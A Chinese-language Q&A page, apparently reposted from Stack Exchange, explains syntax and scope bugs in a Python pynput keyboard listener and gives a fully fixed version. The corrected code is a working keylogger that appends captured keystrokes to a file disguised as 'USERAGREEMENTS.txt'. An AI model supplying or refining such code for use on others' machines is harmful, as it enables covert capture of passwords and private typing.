Python pynput键盘监听代码write_file函数无法创建写入文件问题求助
问题原因分析
- 变量名不匹配:初始化时定义的全局变量为大写开头的
Keys,但on_press函数中声明的全局变量为小写的keys,变量名不一致导致读写全局变量失败。 - 语法缺失:
if count >= 5后缺失Python判断语句必须的冒号:,代码运行直接报错无法执行后续逻辑。 - 函数定义位置错误:
write_file函数被定义在on_press函数的内部if代码块中,仅当第一次触发count >=5的条件时才会被定义,且作用域仅在当前if块内,外部无法正常调用该函数。 - 语法缺失:字符串替换语句
str(key).replace("'" ",")的两个参数之间缺少逗号分隔,语法错误无法运行。 - 函数重复定义:后续重复定义了无计数、写文件逻辑的
on_press函数,直接覆盖了之前写好业务逻辑的on_press,导致核心逻辑完全没有执行。
修复方案
- 统一全局变量名为小写
keys - 补全
if count >= 5后的冒号 - 将
write_file函数移到全局作用域,和on_press、on_release同级 - 补全字符串替换语句的参数分隔逗号,优化替换逻辑为去掉按键字符串前后的单引号
- 删除重复定义的空
on_press函数 - 补充文件打开编码声明避免乱码问题
修复后完整代码
import pynput from pynput.keyboard import Key, Listener count = 0 keys = [] def write_file(keys): with open("USERAGREEMENTS.txt", "a", encoding="utf-8") as f: for key in keys: k = str(key).replace("'", "") if k.find("space") > 0: f.write("\n") elif k.find("Key") == -1: f.write(k) def on_press(key): global keys, count keys.append(key) count += 1 print("{0} pressed".format(key)) if count >= 5: count = 0 write_file(keys) keys = [] def on_release(key): if key == Key.esc: return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
内容的提问来源于stack exchange,提问作者coldixi
相关产品推荐
相关产品推荐

